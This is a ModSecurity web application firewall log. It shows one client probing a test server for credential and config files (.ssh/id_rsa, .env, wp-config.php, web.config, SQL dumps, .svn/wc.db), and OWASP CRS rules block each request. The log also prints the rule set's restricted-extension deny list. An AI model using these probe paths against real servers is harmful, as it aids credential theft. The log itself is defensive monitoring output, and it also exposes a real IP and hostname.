[Fri Aug 29 10:22:03.012359 2025] [:error] [pid 2317387] [client 213.232.87.230:26665] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;aLFjKxf4Ixez93jIUm4kdwAAAAo&quot;]
[Fri Aug 29 10:22:03.012591 2025] [:error] [pid 2317387] [client 213.232.87.230:26665] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;aLFjKxf4Ixez93jIUm4kdwAAAAo&quot;]
[Fri Aug 29 10:22:03.012735 2025] [:error] [pid 2317387] [client 213.232.87.230:26665] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;aLFjKxf4Ixez93jIUm4kdwAAAAo&quot;]
[Fri Aug 29 10:22:03.078008 2025] [:error] [pid 2316665] [client 213.232.87.230:49973] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNgAAAAU&quot;]
[Fri Aug 29 10:22:03.078135 2025] [:error] [pid 2316665] [client 213.232.87.230:49973] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNgAAAAU&quot;]
[Fri Aug 29 10:22:03.078282 2025] [:error] [pid 2316665] [client 213.232.87.230:49973] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNgAAAAU&quot;]
[Fri Aug 29 10:22:03.078439 2025] [:error] [pid 2316665] [client 213.232.87.230:49973] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNgAAAAU&quot;]
[Fri Aug 29 10:22:03.101382 2025] [:error] [pid 2317389] [client 213.232.87.230:30943] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aLFjK91zQce3Qoi6U6NuYwAAAAw&quot;]
[Fri Aug 29 10:22:03.101496 2025] [:error] [pid 2317388] [client 213.232.87.230:2947] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aLFjK9nUlO8epTaEYYRaQgAAAAs&quot;]
[Fri Aug 29 10:22:03.101523 2025] [:error] [pid 2317389] [client 213.232.87.230:30943] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aLFjK91zQce3Qoi6U6NuYwAAAAw&quot;]
[Fri Aug 29 10:22:03.101657 2025] [:error] [pid 2317389] [client 213.232.87.230:30943] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aLFjK91zQce3Qoi6U6NuYwAAAAw&quot;]
[Fri Aug 29 10:22:03.101727 2025] [:error] [pid 2317388] [client 213.232.87.230:2947] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aLFjK9nUlO8epTaEYYRaQgAAAAs&quot;]
[Fri Aug 29 10:22:03.102050 2025] [:error] [pid 2317388] [client 213.232.87.230:2947] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aLFjK9nUlO8epTaEYYRaQgAAAAs&quot;]
[Fri Aug 29 10:22:03.104642 2025] [:error] [pid 2315264] [client 213.232.87.230:34885] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjwwAAAAA&quot;]
[Fri Aug 29 10:22:03.104782 2025] [:error] [pid 2315264] [client 213.232.87.230:34885] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjwwAAAAA&quot;]
[Fri Aug 29 10:22:03.104981 2025] [:error] [pid 2315264] [client 213.232.87.230:34885] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjwwAAAAA&quot;]
[Fri Aug 29 10:22:03.108812 2025] [:error] [pid 2315267] [client 213.232.87.230:24587] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLFjK2jqWQ2t692loUtfTAAAAAM&quot;]
[Fri Aug 29 10:22:03.108952 2025] [:error] [pid 2315267] [client 213.232.87.230:24587] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLFjK2jqWQ2t692loUtfTAAAAAM&quot;]
[Fri Aug 29 10:22:03.109079 2025] [:error] [pid 2315267] [client 213.232.87.230:24587] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLFjK2jqWQ2t692loUtfTAAAAAM&quot;]
[Fri Aug 29 10:22:03.174268 2025] [:error] [pid 2316665] [client 213.232.87.230:26381] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNwAAAAU&quot;]
[Fri Aug 29 10:22:03.174561 2025] [:error] [pid 2316665] [client 213.232.87.230:26381] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNwAAAAU&quot;]
[Fri Aug 29 10:22:03.174717 2025] [:error] [pid 2316665] [client 213.232.87.230:26381] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKNwAAAAU&quot;]
[Fri Aug 29 10:22:03.198295 2025] [:error] [pid 2317388] [client 213.232.87.230:62025] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aLFjK9nUlO8epTaEYYRaQwAAAAs&quot;]
[Fri Aug 29 10:22:03.198571 2025] [:error] [pid 2317388] [client 213.232.87.230:62025] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aLFjK9nUlO8epTaEYYRaQwAAAAs&quot;]
[Fri Aug 29 10:22:03.198716 2025] [:error] [pid 2317388] [client 213.232.87.230:62025] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aLFjK9nUlO8epTaEYYRaQwAAAAs&quot;]
[Fri Aug 29 10:22:03.208787 2025] [:error] [pid 2317386] [client 213.232.87.230:46381] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG-wAAAAk&quot;]
[Fri Aug 29 10:22:03.208914 2025] [:error] [pid 2317386] [client 213.232.87.230:46381] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG-wAAAAk&quot;]
[Fri Aug 29 10:22:03.209063 2025] [:error] [pid 2317386] [client 213.232.87.230:46381] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG-wAAAAk&quot;]
[Fri Aug 29 10:22:03.209224 2025] [:error] [pid 2317386] [client 213.232.87.230:46381] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG-wAAAAk&quot;]
